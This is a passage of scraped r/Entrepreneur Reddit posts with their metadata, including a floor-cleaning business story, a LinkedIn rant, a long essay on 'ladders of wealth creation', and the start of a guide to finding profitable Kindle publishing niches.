deep cleaned to stay safe, and keep the appearance of the environment at an acceptable level. Plus they also stink, when they are dirty. &#x200B; Its interesting because not many people even know this kind of business exists and its a huge niche with tons of opportunity. &#x200B; [I made a video that shows how I clean restaurant floors](https://youtu.be/6RgG3cBUf2E) Typically I charge $.60 per square foot. It usually comes out to no less than $100 per hour, and my supplies/overhead is almost nothing. &#x200B; I just thought some of you might want to take an inside peak into a business that provides services offline. And I want people to know that you can still make a great living for yourself if you are willing to roll up your sleeves and do some dirty work.",johnstevens456,1546,398,1547597161,/r/Entrepreneur/comments/agf5c8/cleaning_restaurant_floor_for_1000_per_night/,https://www.reddit.com/r/Entrepreneur/comments/agf5c8/cleaning_restaurant_floor_for_1000_per_night/,self.Entrepreneur,True,,,,, ll8087,Entrepreneur,LinkedIn is for recruiters/job seekers & executives to circle jerk each other. Change my mind..,"Really frustrated with my co-founder and just need to vent. He spends so much time on LinkedIn. We aren't hiring, and we aren't a B2B. Feels like it's all for vanity among his peers. Honestly, if you have time to be on LinkedIn, Twitter, or FB all day, you are not working. Period. Edit: woah, definitely wasn't prepared for such a huge response & ironically our own circle jerk lol, but I appreciate the responses and different perspectives. I realize LinkedIn does have a lot of value for certain industries & B2B. And it's not like my co-founder hasn't made good use of the network he's built, but sometimes it seems like a priority for him. We communicate very well, so I do plan on bringing this up(in a more elegant way). Anyways, I was just venting, and maybe in some twisted way looking for my own vanity?",VaughnRidge,1538,327,1613494295,/r/Entrepreneur/comments/ll8087/linkedin_is_for_recruitersjob_seekers_executives/,https://www.reddit.com/r/Entrepreneur/comments/ll8087/linkedin_is_for_recruitersjob_seekers_executives/,self.Entrepreneur,True,,,,, 8cscma,Entrepreneur,"If you have not already, you should listen to the NPR podcast ""How I Made This"" hosted by Guy Raz. Guy interviews entrepreneurs from many fields and industries who went on to build successful businesses. There are great bits of insight, inspiration, and plenty of learning opportunities.",,Ian_is_funny,1525,116,1523924026,/r/Entrepreneur/comments/8cscma/if_you_have_not_already_you_should_listen_to_the/,https://www.reddit.com/r/Entrepreneur/comments/8cscma/if_you_have_not_already_you_should_listen_to_the/,self.Entrepreneur,True,,,,, p6f0a6,Entrepreneur,Anyone else feel like they can’t relax and feel happy and pursue their hobbies until they have a reliable passive income stream in the background that they can live off.,Idk if this is just something messed up about my brain but I can’t feel at ease until I have lots of money in the bank and passive income source I can live off. Because of this all I think of are potential business ideas all day lol,intpb,1525,304,1629242135,/r/Entrepreneur/comments/p6f0a6/anyone_else_feel_like_they_cant_relax_and_feel/,https://www.reddit.com/r/Entrepreneur/comments/p6f0a6/anyone_else_feel_like_they_cant_relax_and_feel/,self.Entrepreneur,True,,,,, e9830y,Entrepreneur,The ladders of wealth creation: a step-by-step roadmap to building wealth,"This summer I wrote a post on growing my software company to $15M ARR ([reddit thread](https://www.reddit.com/r/Entrepreneur/comments/axncm4/15_lessons_from_our_first_15_million_in_recurring/)) that you all seemed to enjoy. So I thought I'd share my latest writing. Back when I did web design people would often pitch me an idea for a business that would be ""Uber for X"" or ""Facebook, but for Y"" and I always struggled to explain how what they chose was an insanely difficult business and all the skills they would need to learn in the process. This article is my first draft of an attempt to lay out the roadmap to building wealth and the pitfalls and principles you'll encounter along the way. I'd love to hear what you think in the comments! \------------ **In college I first heard Jason Fried from Basecamp talk about how making money is a skill—like playing the drums or piano—that you can get better at over time. That resonated with me immediately. I wouldn’t expect to be able to sit down at a piano for the first time and immediately play a concerto.** We could outline the progression to mastering a musical instrument, so we should also be able to do the same with earning a living. What lessons do you need to learn to go from odd jobs around the neighborhood to owning a real estate empire? From working as a freelancer to selling your own digital products? What about from working at Wendy’s to owning a SaaS company earning over $1 million per month? That last one is my own path. There’s a reliable progression that anyone can take to earn more and build wealth. In fact, I like to think of it as a series of ladders side by side. Each one can climb to different heights in both the quality of business and potential earnings. \------------------------- [Ladders of Wealth Creation Diagram](https://lh3.googleusercontent.com/qWcgH_BoOwaDJ3f5lo9YG5f4WCKaLRwWYQZCb4aEJWA41Fm1KDVjLu5B9LudqY_1W6NwI0eSTtb5R8F1FmD2fcmSg-UcnhebLyh2dDyCQ_f1WpoWGna3WyuM1txea36M2T54v_T5) *(this is important and explains the concept visually)* \------------------------- In this model the potential earnings increase the higher up each ladder you climb. They also increase as you move left to right to more advanced ladders. But the difficulty increases with each move as well. Each step requires that you learn new skills to overcome those new challenges. Let’s break down a few of those skills and opportunities at each stage: ### TIME FOR MONEY Our first ladder is trading time for money. This is how most people you know earn a living. It may start with an hourly job working for Starbucks, but then transition into a salaried position working at a company. At the most basic level you need the skills of: * Showing up consistently * Being reliable * Learning new skills on the job Every job, even the most entry level, require those three things. Then in order to take the next step up the ladder you will need to specialize in certain skills (design, copywriting, legal, becoming a nurse, etc) to gain a salaried position. ### YOUR OWN SERVICE BUSINESS If you choose to make the jump to the next ladder of running your own services business there’s an entirely new set of skills you need to learn that build on the last step. Things like: * Setting up a company * Finding clients * Creating proposals * Pricing services * Hiring employees * Establishing an online presence * Accounting, finance, business operations, etc Looking back there are so many things that seem easy and intuitive now (such as filing for an LLC with the Secretary of State) that were daunting to me at the time. This is also where many business owners expand beyond their ability and start to lose the lessons they should have mastered from the previous ladder like being reliable and showing up consistently. Which is how a friend of mine with no plumbing experience bought a small plumbing company and doubled revenue in the first year with two simple changes: 1. Following up with customers 2. Doing what he said he was going to do As business owners we underestimate just how much there is to learn so we get overwhelmed and start dropping the ball on the basics. ### PRODUCTIZED SERVICES Up until now each sale has been made by talking to customers or an employer directly in person or over the phone or email. But to truly reach new levels of income you need to learn a different lesson: how to sell without ever talking to the customer. Our goal is to scale sales to new levels. That means removing every possible bottleneck. On the productized service we’ll remove the sales bottleneck, then on the next ladder we’ll remove the product delivery bottleneck. A productized service is when we take a set offering (e.g. search engine consulting) and bundle it up as a set offering with a fixed price (an SEO site audit for $1,000). A few examples include: * A designer moving from designing websites at $100 per hour to charging a $2,500 for designing a 5 page website. * A video editor charging $250 per video instead of $50 per hour. * A handyman charging $50 per visit rather than an hourly rate. Because the project scope and price are fixed the service provider will make more on some projects than others, but the profits will average out. On this ladder we need to learn: * Writing sales copy that can make a sale without talking to the customer * Designing a sales page (or hiring experts to do it for you) * Processing online payments * Standardizing systems to deliver repeatable quality with each service If you choose to move further up this ladder you can add recurring revenue and employees to scale further and add predictability. For example, my brother-in-law Daniel used to edit any video for $30 per hour, but now he’s launched a recurring productized service to edit up to four vlog episodes per month for $1,000. First he answered the question, “how many hours will this take?” by moving from hourly to a fixed per video cost. Then he clarified exactly who it is for by specifying vlogs, rather than just any video. And finally he made it recurring by moving to a monthly price, rather than a per video price. Now he has a predictable income stream from a handful of clients and a waiting list for those who want to sign up when he has more availability. ### SELLING PRODUCTS A productized service works to remove the manual work from making the sale and selling a full product continues that trend by also removing the manual work from delivering the product. Physical products fall into two categories: handmade and manufactured. * Handmade – Handmade products are great to get started because you can make a few without spending a ton of money, but then they are closer to productized services in that each one takes time to make, so you can’t scale seamlessly yourself. * Manufactured – Manufactured products are hard to do at a small scale, but if you can sell enough of them you can make them in bulk and then you can scale an impressive business. A product takes far more work to create up front, but then each individual sale and the fulfillment of that sale happens without much (or any) additional effort from the business owner. Examples include: * An ebook on how to learn a new programming language * A video course on new cooking techniques * A new tripod for vloggers At this stage there are an entirely new set of skills you have to learn in order to sell products in bulk: * Customer support at scale * Gathering customers at scale * Supply chain (if it’s a physical product) * Fraud as nefarious people use your site for credit card testing and more That’s just a few of dozens of skills you’ll need. With that intro to the ladders of wealth covered, let’s turn to principles that will help you navigate this new concept. # 8 principles to grow your wealth and income over time 1. Extra time and money need to be reinvested 2. You can skip ahead, but you still have to learn the lessons from each step 3. Apply your existing skills in a new way to build wealth 4. There’s a difference between working for a better wage and truly building wealth 5. Using an earlier rung on the ladder to fund the next one 6. Moving between ladders often means a decrease in income 7. Each step is easier with an audience 8. It takes longer than you think, but the results can be incredible ## 1. EXTRA TIME AND MONEY NEED TO BE REINVESTED On a recent trip to Seattle I talked to my Uber driver between SeaTac and downtown Seattle. The conversation ranged from travel, our favorite islands in Hawaii, his love for music and gadgets, what he does for work, and why he’s driving for Uber on the side. He has a solid career working downtown for the City of Seattle and Uber allows him to earn a little extra on the side driving a couple mornings a week. It’s fantastic that services like Airbnb and Uber allow those on with a set salary to earn more on the side. So what was he spending this extra money on? Well, he loves gadgets and wants two things: 1. To replace a broken speaker in his home theatre system. 2. To buy a DJI Mavic drone. Those are both super fun purchases and it’s great he’s able to work extra to make those happen. But it reminded me of why most people don’t build wealth: increased earnings never go into wealth. All across society extra money—whether from a raise or working extra—disappears into lifestyle inflation or temporary purchases, when it could be put to work so much more effectively. The drone would be really fun, but there are so many small parts and fancy electronics that it’s bound to break after a couple years—and that’s if you don’t fly it into a tree before then. If you want to build wealth that thousand dollars should be spent on new skills or invested in the stock market, retirement accounts, or another business, rather than burned on the latest gadget. ## 2. YOU CAN SKIP AHEAD, BUT YOU STILL HAVE TO LEARN THE LESSONS FROM EACH STEP At ConvertKit we run one of the largest affiliate marketing programs of any SaaS company, bringing in nearly half a million dollars in revenue each month. But it’s a pain. None of the software available to manage these systems works well and as a result we spend at least one day a month doing manual work. My brother-in-law, Philip, saw this manual work and decided to build a better platform for SaaS companies to run affiliate programs. His new tool, called [**LinkMink**](http://linkmink.com/), is gaining traction, but still early. After working on it for nearly two years he can’t help but feel frustrated he and his co-founder are only at a couple thousand a month in revenue. I can relate to this. 2 years into starting ConvertKit we were at the same level. It sucks how slow SaaS can be. But then I started thinking about Philip’s path. He’s got a bachelor’s degree in business, has worked as a designer, then as a software developer. Then he started working on LinkMink. His path has been: * Hourly work for a company (in a wide range of jobs as anyone joining the workforce has) * Salaried work at a company (both as a designer early on, then a web developer) Okay, so far this is great. On our income-earning ladder he has gone from the first rung to the second and done it quite quickly. In just four years going from an entry-level position to a fantastic salary. Somewhere in there he also did a little bit of contract design work, so he picked up the basics of invoicing, finding clients, and marketing your services. So let’s look at his next step, which was too… Start LinkMink. Starting a software-as-a-service app isn’t the next step on the spectrum. Hell, it’s not even in the next 10 steps! Running a SaaS company is incredibly hard with so many moving pieces: development, servers, customer support, legal, payment processing, etc. No wonder it’s taking a while! It’s not that he can’t do this or that he even made a poor choice in jumping to this step: simply that he has a lot of lessons to learn and he chose to learn them all here, rather than slowly in incremental steps throughout the journey. Because of that, he should set his expectations that this will take longer and feel harder than it does for other people. Those downsides are balanced by the fact that it can also have an incredible reward because recurring software is one of the greatest business models on the planet, which is why acquiring companies and investors will pay an incredible premium to own them. ## 3. APPLY YOUR EXISTING SKILLS IN A NEW WAY TO BUILD WEALTH My friend Patrick bought a house that needed plenty of work and immediately dove into renovating it himself. Since he works construction full-time he was well equipped with the skills to transform this fixer-upper. But the real magic and value wasn’t in the main house, which he is remodeling for his family, but in a detached 1-car garage that is accessible from the back alley. Originally this building was so run down that you wouldn’t even park a car in it, but after 6 months of work on nights and weekends Patrick renovated it into a beautiful little 300 square foot studio apartment. Just a couple hours after listing it for rent on Airbnb he had his first booking. His first month booked up immediately generating over $1,800 in revenue. When combined with his job working on a construction crew, this new revenue stream was a 50% increase in his monthly earnings. Because Airbnb already exists he has a product to sell (a cozy place to stay), in an existing marketplace, to a steady stream of buyers. The best part is that not only is this making him money while he works construction, *and* that the extra work he put in will raise the resale value of his house, but really that for as long as he holds on to it, he has steady cashflow to more than cover his mortgage no matter what job he does. ## 4. THERE’S A DIFFERENCE BETWEEN WORKING FOR A HIGHER WAGE AND TRULY BUILDING WEALTH While I love working on the computer and creating digitally, often I want an escape from that and to see projects come together in real life. Like many people I’ve been fascinated by tiny houses for years, so this year I decided to pull the trigger and build one myself. While it’s been a lot of learning and quite challenging at times, the break from sitting in front of a computer to start creating in real life has been so rewarding. Since I’m a complete novice when it comes to home building, I’ve relied on experienced friends like Patrick for the trickier parts, such as installing a double-swing french door. After finishing his own tiny studio and helping me build my tiny house Patrick said, “Maybe I should quit my construction job”—which is something he’s wanted to do for a long time—”and build tiny houses for other people.” While it’s a solid idea, and would certainly be more fun than working for a construction company, I talked Patrick out of it. Not because I want to crush someone’s dream, but because it would be a step backwards on our earning a living ladder. Patrick was on the first ladder of hourly or salaried work for a company. The next logical step would be to start his own company doing similar work. That actually takes him to the next ladder. Then if he were building tiny houses specifically he could specialize and sell them more as a product—not just labor for x dollars per hour, but actually selling the completed tiny house for a fixed price. Which would mean any efficiencies gained would be his to keep. Wait, those all sound like good things and steps forward, so why discourage it? Because Patrick actually has a solid footing on a much more advanced ladder: selling products. His Airbnb is selling a product into an existing marketplace. He’s making money while he sleeps! So instead of using his time and skills to create another hourly or project based income source, he should build a tiny house for himself, put it on Airbnb, and double his product revenue. ## 5. USE AN EARLIER RUNG ON THE LADDER TO FUND THE NEXT ONE The one downside to jumping ahead is that it often costs money before you will get money back. Because he did all the work himself, Patrick’s studio renovation only cost about $10,000. While it’s a great return, $10,000 is a lot to come up with! In the same way Patrick’s biggest obstacle to running another airbnb unit is actually initial capital to get started through buying land and building materials. That’s where the early rung on the ladders can help. You might stay at your software job longer to stockpile savings to fund your living expenses longer, or you might pick up extra shifts as a bartender to help save for your next set of building materials (which is what Patrick did). Often it requires extra work on one rung of the ladder to fund the jump to the next one. ### WHEN IS IT WORTH IT TO WORK FOR A WAGE? You may have heard the quote, “you shouldn’t trade time for money.” While true that there are better ways to build wealth, early in my career I found that advice quite discouraging. That was the only way I knew how to make money and apparently it was wrong! You *should* trade time for money, especially early in your career when it’s the only option available with your current skill set. So rather than writing off entire methods for earning a living, let’s break down five examples of when you should trade time for money: 1. **When you are just getting started.** Early in your career, the important thing is to make enough to pay rent and buy groceries. Don’t look down on any job that allows you to do that. Once you have a stable foundation you can start to pursue better opportunities. 2. **When you are learning a new skill.** If you can get paid to learn a new skill that will grow your earning potential you absolutely should! Let’s say I want to be a YouTuber and are just getting started. Working as a camera assistant for an ad agency would be a great way to learn more about cameras and video while still paying rent. 3. **As a step in getting to a higher rung or on to the next ladder.** It always takes time, money, or both to move to a higher rung on the ladder. If you spend conservatively and save any extra money you can have enough to buy the tools, training, or time necessary to get to the next level. 4. **To build relationships and find mentors.** The right people will shape your mindset and opportunities. You should absolutely trade time for money if it means expanding your network to people who can help you jump to the next ladder. 5. **When the work is rewarding and meaningful in its own right.** If you found work that you find meaningful and fulfilling, you should do that. Even if some expert says you shouldn’t trade time for money. A lot of money is far from the only kind of wealth. The most important thing is that you aren’t just treading water as you work for a wage. As much of that money as possible should be saved and invested to help you jump to the next ladder. ## 6. MOVING BETWEEN LADDERS OFTEN MEANS A DECREASE IN INCOME I hope this has been helpful and inspiring so far, because I’m about to hit you with some bad news: while income increases as you move up any one ladder, it often decreases when you jump between ladders. Sometimes that drop may be only for a few months, other times it could be a few years. Let me give you an extreme example. In 2013 I earned over $250,000 from selling books and courses on design. My income head been steadily increasing for the last few years and I was damn proud of my blog and business. But then I decided to make the leap and switch from selling ebooks to starting a software company—one of the most difficult rungs on the product ladder. My income immediately and substantially dropped as I focused on ConvertKit. So how long do you think it took to set a new one year income record? A year? Two years? Nope. I didn’t earn over $250,000 in a year again until…2018. 5 years later! Software can take a long time to get going and for years after we got traction I still reinvested everything. Now, because of the exponential growth of ConvertKit (more on that later), I’m now earning far more than my previous record of $250,000. As you eye the next ladder to make the leap from a stable job to freelancing, or from a successful freelancing business to your next product, plan for a valley to follow your current revenue peak. This is especially hard when you’re used to being successful in one area and then you start over in a new area and lose the signs of progress and forward momentum. ### IT DOESN’T HAVE TO BE ALL OR NOTHING You can start your blog while still helping freelance clients. Build the habit of writing while you still have your full-time job. Or do what I did and use book and course revenue to help fund building a software company. A side project is an incredible way to bridge the gap and cover the dip as you move between ladders. Just one note: I said, “*a* side project” not “side *projects*.” It’s so easy to get carried away with dozens of exciting ideas, working on each one as motivation and inspiration are there. But if you keep that cycle going it’s so easy to be spread thin between so many projects that will prevent you from making any one of them actually successful. ## 7. EACH STEP IS EASIER WITH AN AUDIENCE. While the dip is always going to be frustrating, imagine that instead of making the leap alone you had dozens, hundreds, or even thousands of people cheering you on at each stage. Each person enjoying hearing about your journey and eager to help you make the next step. Sound too good to be true? It’s not. It’s called an audience. By sharing your journey publicly—and inviting friends, family, and complete strangers along for the ride—you will create your own fan club who are actively rooting for your success. That’s exactly what I did when I made the jump from selling ebooks about design to starting a software company: I talked about the entire journey through what I called The Web App Challenge. A public challenge to build a customer-funded SaaS product from scratch to $5,000 in recurring revenue in six months. While I didn’t hit the goal—only achieving just over $2,000 per month—the people who rallied around to support my public journey were incredible. That next endeavor that you launch, whether it’s creating handcrafted products for the farmers market, starting a new coffee shop, if you share your story and give people a way to follow your journey, they will. Some will buy your products, others will tell their friends, and still more will cheer you on. An audience is actually easier to build than we make it seem: 1. **Have a goal.** The goal could be to make your first sale at a farmers market, write a book, renovate an airbnb, pay off your debt, landing your first four design clients, or just about anything else. The point is for it to be clear who you are and what you are trying to accomplish. 2. **Document your progress.** This next step is a little harder—not because it’s difficult to document progress, but because it’s difficult to do consistently. Choose a cadence and write updates reminding people of what you are trying to accomplish and sharing your progress, learnings, and challenges on that journey. That could be through a monthly blog post or even just through more regular Instagram posts. 3. **Ask for help.** Finally, understand that everyone wants to help, so let them! If you need advice on how to price your products or how to setup your business, just ask. If someone in your small audience doesn’t know, they most likely know someone who does. Throughout my journey I’ve been blown away by how many people step up with advice, introductions, and support whenever I’ve asked. So as you plan your next big step to build wealth I encourage you to set a clear goal, share it publicly, and give your community the opportunity to rally behind you and make it happen. ## 8. IT TAKES LONGER THAN YOU THINK, BUT THE RESULTS CAN BE INCREDIBLE A few years ago my friend James’ grandmother passed away in her 90’s. She had grown up in the small town of Council in central Idaho. When she was 60 years old her husband, my friend’s grandfather, passed away. Leaving her alone. She was financially secure through two paid off houses, one in Boise, the other in Council, but she still had a long life ahead of her. She always loved cute little houses and decided to buy one to rent out as a new hobby to fill her time. A couple years later she bought another and rented it out as well. Then another and another. By the time I met her she was 80 years old and in the 20 years since she started, she had acquired more than 25 cute little homes throughout Southwest Idaho. None were very expensive, probably around $100,000 each, but combined they turned into quite the real estate empire. Each returning a great monthly cashflow that she rolled into buying the next property. In addition to this she bought a one hundred acre ranch on the Boise river outside of town. What had started as a hobby to pass her time and distract from loneliness turned into a real estate empire worth over $5 million. The takeaway is not necessarily to buy more houses (though that has been a great path to wealth for many), but that consistently reinvesting time and money into wealth creation rather than lifestyle inflation can have incredible results if allowed to play out for long enough. # The unique shapes of increasing income I mentioned earlier that the further to the right on the income ladders you go the more difficult they become, but also the greater the upside. It may be hard to understand exactly why that is, so let’s explain it with three visuals: * Stair step * Linear * Exponential ### STAIR STEP [Stair step diagram](https://lh4.googleusercontent.com/Xw3hEtrhwwV3cT7hAnYnBtZ0vRe751Uayb4ZEqofDaMVvj4t84VxJVrijnytHOwnlsdxEjIH7WuK4TMAaTQuqABmYDBZSW0uDRjz3VNMwF28IvY6pewZgACmpO0BGJjqWDgbDUxW) Most people will experience a stair step approach to income in their life. As they move from an hourly position to a salary that comes with a raise, which would be a step up in income. Then each additional salary increase will be another step. In some careers these may be small and often, in others they may be spaced out over more time and be quite large (residency to a full doctor or making partner at a law firm). You can also supplement a salary with an additional project (a rental property, buying an e-commerce site, a recurring consulting agreement) that will result in another stair step in your income. While this model isn’t the best possible, it is how nearly all wealthy people built their wealth. You won’t have unlimited upside, but over 40+ years it is one of the most reliable paths to wealth. ### LINEAR [Linear diagram](https://lh4.googleusercontent.com/Bchwwn1RXGW2t22rZFt8V083S0xBlN7bK2zIsGmgcomonzXJryZRcSmnvqElCWObMW5QMiXlIOWm-s4qJweiuIDMLy2GBI4Ke1LEYp_qlG5Vis0xqaFyFfOn9B1YXNyAYjZ4Ihev) Enough stair steps that are close together will simply look like a linear growth curve when you zoom out. So while a raise every few years will look like a stair step, a freelancer steadily able to increase her rate will look linear. In the same way that adding a rental property once is a worthwhile stair step, adding one per year is linear. The most common linear growth that I see in my work is in selling digital products: as traffic increases, so do sales. It isn’t exponential because traffic is still the bottleneck, but each new blog post or search engine ranking brings a few hundred more people to the site each month. Over time that drives more sales and income increases. ### EXPONENTIAL [Exponential diagram](https://lh4.googleusercontent.com/sPlxWNfUjSdedeHUB40gJeybuMwbPSw4C6bgPLpWmRTeBM1gC9H1siSYrPTr8cfsU_TBpGRJJ5L0ANVOtNJnob9erC1Yjx7LmuCRzenFwSXYGMdxHCCzLfGabRl80nPJG0x9TQRO) Exponential growth comes from when each sale of a product truly makes the next sale come more easily. It requires a product that you can sell repeatedly (whether physical or digital) that can be created at a large scale. Meaning you can’t be selling your time. Exponential growth often starts slowly, taking months or years to reach any kind of meaningful revenue. But fast forward a few years or a decade and the growth can be absolutely astounding. Software companies, marketplaces, and large e-commerce companies have an incredibly high ceiling and can grow insanely fast in their prime. But that usually takes time, significant skill, and meaningful capital. # My own journey to building wealth The one thing I can guarantee is that your journey won’t be linear. Mine own journey involved jumping all over the place. Let me show you: 1. **Woodworking (2003 — 13 years old).** The very first way I made money—other than my parents paying me for work around the house—was making wood carvings on a scroll saw a family friend had given me, and selling them around the neighborhood. Each one making between $10-$40, depending on the complexity. While after that it would be a few years before I would revisit products, I still find it interesting that I had such an early foray into products. *Most important skill acquired: the courage to knock on a stranger’s door and sell them something.* 2. **Wendy’s (2005 — 15 years old).** I was in a hurry to grow up and wanted to start taking college classes. I needed money in order to pay tuition. So I picked up the phonebook and started calling businesses asking how old you had to be to work there. Most said 16. Wendy’s was the first to say they’d hire at 15. Working the drive through we would compete with other local stores to set the fastest drive through services times. I worked the cash register and learned to type on it without looking in order to make sure I wasn’t the bottleneck. *Most important skill acquired: how to work very fast.* 3. **Freelance web design (2006 — 16 years old).** I learned web design in high school and started to make money designing websites and logos. In 2007 I dropped out of college to do it full time. My biggest success was building a web application for $10,000. *Most important skill acquired: how to find, work with, and charge clients.* 4. **Lead designer in a startup (2009 — 19 years old).** In 2009 I was hired on full time by one of my clients (a 14 person venture backed startup). I stayed for nearly three years, growing to lead their product design team. I spent my time designing in Photoshop, learning to code iOS apps, and working with a large team as the company eventually grew to over 80 team members. Most important skill acquired: *an introduction to leading a team.* 5. **Building and selling iOS apps (2011 — 21 years old)**. While working for the software startup I started building iOS apps on the side. Then I went out on my own to freelance and continue to build my own apps. As my first venture back into products since the days of selling handmade goods door to door, I had to learn to write a sales page, code apps, market products, and launch into the iOS app ecosystem. *Most important skill acquired: building a product and selling into an existing marketplace.* 6. **Selling my first book (2012 — 22 years old).** After building quite a few iOS apps I turned to writing a blog and then eventually writing a book teaching how to design apps. The book was quite successful, selling nearly $20,000 worth in the first week! This launched my entire journey with building an audience and self-publishing. *Most important skill acquired: how to build an audience.* 7. **Building a software company (2013 — 23 years old).** My next—and final—venture was to focus on software again and build the email marketing company I wish I had when I started growing an audience. Today ConvertKit earns over $18 million per year. Nearly seven years after starting ConvertKit it is what I’m still doing and plan to do for at least the next decade. *Most important skill acquired: how to work relentlessly on one idea for long enough to reach its full potential.* Over the years I’ve done so many different things, but each one was a step towards learning the skills required to earn a living and build wealth. # Considering leveling up your income and wealth? As you’re considering making the jump to the next level, ask yourself these questions: * What rung am I on in my journey to build wealth? * Which ladder is this new idea on? * How far is it from the rung and ladder I am on currently? * What new skills would I need to close the gap between where I am now and where I want to go? * How long will it take to acquire those skills and get initial traction? * Do I have the runway (both in time and financial security) to make that jump without putting my finances in danger? These aren’t meant to discourage you from making a move. Instead, the answers to these questions will give you awareness to make you more likely to succeed in the journey ahead. Let’s close with one final example. # The Patel Motel Cartel Did you know that 50% of motels in the United States are owned and operated by people of Indian origin? One of my favorite articles I’ve read in the last year was in the New York Times and was actually written back in 1999, it’s titled, [***A Patel Motel Cartel?***](https://www.nytimes.com/1999/07/04/magazine/a-patel-motel-cartel.html) In the 1950s families from India started to immigrate to the United States. Because it was so expensive they often relied on money from family to help them get settled. Once in the United States they got jobs, earned more, and paid it forward to others in their family to help them make the same move. The money was never repaid, but always paid forward. But the real magic came with what they did next. Instead of pursuing normal jobs a family would pull together all the money they could (from their own savings and from extended family) and use it as a down payment on a small motel. The family would then move into it and run it full time. Spending their days and weekends working the front desk, cleaning rooms, and making beds. Over time as it grew into a meaningful business they would have some free capital to pay forward to another relative who would do the same thing. They worked hard hosting thousands of guests and carefully stockpiling money. Whenever the stockpile grew large enough it didn’t go into increasing their lifestyle, but instead into the next opportunity, which was nearly always another motel. By 2003, when the article was written, Indian immigrants owned half of all the motels in the United States. Not only were they continue to earn great revenue from each booking, but the land has appreciated over the decades to become incredibly valuable, making these families rich. My three favorite things are that they: 1. Rallied together to make one family succeed, and in doing so raised the tide for everyone. 2. Never paid back the money, but instead paid it forward to the next family member to create opportunity for them. 3. Always poured the money into the next revenue generating asset (another motel) rather than inflating their lifestyle. While he doesn’t come from a culture where that kind of assistance and collaboration is common, my friend Patrick is well on his way to creating wealth through following the same model as he leverages his construction skills to build more Airbnbs. Philip is doing the hard work to launch a SaaS company—learning all the skills necessary to jump 3 ladders in a single move. His company, LinkMink, is now growing quickly and we even switched ConvertKit to their platform a few months ago. And I’ve used the skills I learned from each ladder to build a company to nearly $20 million in revenue.  No matter where you are in your journey, whether you are searching for a job, living paycheck to paycheck, launching your first business, growing an audience, starting a side project, scaling your company, or looking for the next venture to invest in, I hope this article helps to serve as a roadmap of what’s possible. Building wealth is a skill. A skill anyone can master given enough time and a relentless desire to learn and work hard.",nathanbarry,1525,141,1576076094,/r/Entrepreneur/comments/e9830y/the_ladders_of_wealth_creation_a_stepbystep/,https://www.reddit.com/r/Entrepreneur/comments/e9830y/the_ladders_of_wealth_creation_a_stepbystep/,self.Entrepreneur,True,,,,, 7aco1w,Entrepreneur,Finding profitable niches is not hard. A step-by-step Tutorial for beginners that works every time,"There are quite a few ways to make some extra cash online. If you follow this subreddit, you probably know that already. You’ve probably also noticed that one of the most challenging parts of online entrepreneurship is **finding the right niche.** Look around, and you’ll find *tons* of information about how to do the whole “making money online” thing. Whether it’s affiliate marketing, dropshipping, selling t-shirts, or whatever else, you’ll find a wealth of step by step guides that can teach you just about everything you need to know about strategies that work. Sure, there’s a learning curve at play there. And it can get kind of overwhelming if you’re new to all this stuff. But with some time, dedication, and perseverance, you can learn what you need to know to start making a profit as an internet entrepreneur. Whether your goal is to bring in some extra beer money with a fun, low-maintenance little side hustle, or to create something you can scale over time into a liveable, sustainable income, you can make it happen. But you may have noticed something. Despite all the awesome free information out there, there’s one thing that, at the end of the day, no one can really spoonfeed to you. And that’s **finding a niche.** In a lot of ways, that’s really the tricky part. And it’s a central aspect of a bunch of different kinds of online businesses. Maybe it’s not universally applicable, per se, but niche selection is essential for such perennial /r/entrepreneur standbys as affiliate marketing, dropshipping on Shopify, creating monetizeable Instagram accounts, and more. It’s also important to what I do, which is Kindle publishing. I know there are other Reddit posts out there about finding a niche, not to mention a million blog posts on the subject. But even so, I wanted to share my own “in-the-trenches” knowledge and experience because I noticed there’s a lot of bad information online. I love this stuff. I remember when I was starting out spending hours upon hours throughout the night (and often saw the sun come up) researching different niches. Again, my experience is with ebook publishing, but I’m also talking about broader concepts that are applicable in other entrepreneurial pursuits. So here’s my advice on finding profitable niches. And it’s maybe a little contrary from what you’re used to hearing over and over again. So let’s get started. **This is a pretty long post, so here’s a quick TL;DR of the key points.** * **Go for profit over passion.** Profit potential takes precedence over your own personal interest in a subject. Remember, you can always outsource your content and copy to someone who does know a lot about the topic. * **Go for big, evergreen mass market niches that always sell.** I’ll explain why, and what these niches have in common. * **Focus on solving a specific problem.** “Getting in shape” is a broad niche. “How to get a six pack in 6 weeks or less” is a *specific problem.* Autosuggest is one of the most efficient ways to pinpoint those specific problems. This applies on Amazon, as well as on Google and Youtube. You can also find tools like KeywordShitter and AnswerThePublic that make it easier to find and collate that information. #Should I Pick a Niche That Interests Me? This is a pretty common question, and yes, I have been asked this by people quite a few times. And honestly, this is something that comes up periodically here at /r/entrepreneur, I’ve noticed. There are two pieces of advice you see a lot. And they’re mutually contradictory. Some people will say, “Yes, go for your passion! You’ll be miserable if you’re grinding away writing content for a niche in which you have zero interest. Find what moves and drives you, and channel that passion. If you’re into cars, do affiliate marketing for auto accessories. If you’re into fashion, try finding a subniche in apparel and accessories.” Others say the opposite. “No matter how much you love something, when you create a business out of it, it’s going to feel like work. And this could lead you to resent something you used to love. Don’t make a business out of your passions or hobbies. Pick something toward which you’re more neutral, but that you know is going to sell.” So which is it? Both arguments honestly have some pretty good points. **Personally, I like to lean toward the second option: choosing a niche based on the bottom line, not on personal passion.** That’s not to say you can’t choose a niche you’re at least somewhat into. But here’s why I’m more in favor of Option 2: * **A lot of hobbies and interests are, frankly, kind of hard to commodify.** If you’re into, say, French symbolist poetry, there’s not a whole lot you can really do with that. At least, not at scale. * **With some things, commodification kind of “feels wrong.”** Think spirituality, that kind of thing. This is pretty individually variable, though, and I’m not here to make any value judgments of any kind. * **Chances are, you’ll end up outsourcing most of the “grunt work” anyway.** A quick look through /r/juststart confirms that when getting started, most people write their own content. But as someone who’s published tons of books and stuff, I’ll say this: no matter how much you enjoy writing, doing it all day, every day, in high quantities, burns you out like nothing else. Even if you’re a super gifted writer -- a professional writer, even -- you’ll reach a point where you’ll want to outsource that kind of thing. Why? Because if you’re doing all the work yourself, you will reach a point where you can’t scale anymore. For instance, let’s say your output is 1 book per month. And after a few months, I guarantee you’ll want to take a break to recharge. But if you are outsourcing your work, you can get 3, 5, 10 books done PER month. (Again, my experience is in Kindle publishing, so I’m talking mostly about content, info products, etc. But I’m sure it’ll apply to physical products, creating an app, etc.) **At the end of the day, the goal here is to start a business and make money.** For that reason, it makes a whole lot of sense to focus on profitability, the level of competition, the potential for a “first mover” advantage in a nascent market, and other things like that. Again, you might have a hobby or a passion that actually does lend itself well to starting a business of some kind. Selling products, writing a series of books about 